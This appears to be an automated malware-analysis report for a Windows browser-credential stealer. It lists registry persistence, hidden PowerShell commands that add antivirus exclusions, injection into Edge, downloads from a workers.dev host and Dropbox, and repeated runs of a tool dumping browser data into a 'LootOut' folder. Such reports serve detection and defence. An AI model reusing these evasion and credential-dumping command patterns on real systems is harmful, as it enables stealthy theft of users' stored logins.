Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'WinSysCache' = '"%LOCALAPPDATA%\Microsoft\Windows\WinSysCache\winhost.exe"'
Creates or modifies the following files
- <SYSTEM32>\tasks\wincachetask3464
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcg...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgACcAYwBoAHIAbw...
Injects code into
the following user processes:
- msedge.exe
Modifies file system
Creates the following files
- %LOCALAPPDATA%\microsoft\windows\winsyscache\winhost.exe
- %TEMP%\sysupd_pkg.zip
- %TEMP%\winsys32cache\chromelevator_x64.exe
Sets the 'hidden' attribute to the following files
- %LOCALAPPDATA%\microsoft\windows\winsyscache\winhost.exe
Network activity
Connects to
- 'al####.####ohammadrafi9966.workers.dev':443
- 'dr##box.com':443
- 'uc#############0a56851032c28.dl.dropboxusercontent.com':443
- 'uc#############a40967a46f386.dl.dropboxusercontent.com':443
TCP
Other
- 'al####.####ohammadrafi9966.workers.dev':443
- 'dr##box.com':443
- 'uc#############0a56851032c28.dl.dropboxusercontent.com':443
UDP
- DNS ASK al####.####ohammadrafi9966.workers.dev
- DNS ASK dr##box.com
- DNS ASK uc#############0a56851032c28.dl.dropboxusercontent.com
- DNS ASK uc#############a40967a46f386.dl.dropboxusercontent.com
Miscellaneous
Creates and executes the following
- '%TEMP%\winsys32cache\chromelevator_x64.exe' all -o "%TEMP%\WinSys32Cache\LootOut"
- '%TEMP%\winsys32cache\chromelevator_x64.exe' --all --output "%TEMP%\WinSys32Cache\LootOut"
- '%TEMP%\winsys32cache\chromelevator_x64.exe' -a -o "%TEMP%\WinSys32Cache\LootOut"
- '%TEMP%\winsys32cache\chromelevator_x64.exe' all -o "%TEMP%\WinSys32Cache\LootOut" --kill
- '%TEMP%\winsys32cache\chromelevator_x64.exe' --browsers chrome,edge,brave,opera,vivaldi -o "%TEMP%\WinSys32Cache\LootOut"
- '%TEMP%\winsys32cache\chromelevator_x64.exe' all -o \"%TEMP%\WinSys32Cache\LootOut\"
Executes the following
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACcAaAB0AHQAcABzADoALwAvAHc...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACcAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AZAByAG8AcA...
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand RQB4AHAAYQBuAGQALQBBAHIAYwBoAGkAdgBlACAALQBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXAB1AHM...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand RQB4AHAAYQBuAGQALQBBAHIAYwBoAGkAdgBlACAALQBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXAB1AHMAZQByAFwAQQBwAHAARA...
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACc...
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHM...
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\WinSys32Cache\chromelevator_x64.exe" all -o "%TEMP%\WinSys32Cache\LootOut""
- '%ProgramFiles(x86)%\microsoft\edge\application\msedge.exe'
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\WinSys32Cache\chromelevator_x64.exe" --all --output "%TEMP%\WinSys32Cache\LootOut""
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\WinSys32Cache\chromelevator_x64.exe" -a -o "%TEMP%\WinSys32Cache\LootOut""
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\WinSys32Cache\chromelevator_x64.exe" all -o "%TEMP%\WinSys32Cache\LootOut" --kill"
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\WinSys32Cache\chromelevator_x64.exe" --browsers chrome,edge,brave,opera,vivaldi -o "%TEMP%\WinSys32Cache\LootOut""
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABhAD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHU...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABhAD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwAiAEMAOg...
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand KABHAGUAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand KABHAGUAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4AQwBhAGMAaABlAFQAYQ...
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACcAaAB0AHQAcABzADoALwAvAHc...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand RQB4AHAAYQBuAGQALQBBAHIAYwBoAGkAdgBlACAALQBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXAB1AHM...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACc...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHM...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\WinSys32Cache\chromelevator_x64.exe" all -o "%TEMP%\WinSys32Cache\LootOut""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\WinSys32Cache\chromelevator_x64.exe" --all --output "%TEMP%\WinSys32Cache\LootOut""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\WinSys32Cache\chromelevator_x64.exe" -a -o "%TEMP%\WinSys32Cache\LootOut""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\WinSys32Cache\chromelevator_x64.exe" all -o "%TEMP%\WinSys32Cache\LootOut" --kill"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\WinSys32Cache\chromelevator_x64.exe" --browsers chrome,edge,brave,opera,vivaldi -o "%TEMP%\WinSys32Cache\LootOut""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABhAD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHU...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand KABHAGUAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4...' (with hidden window)
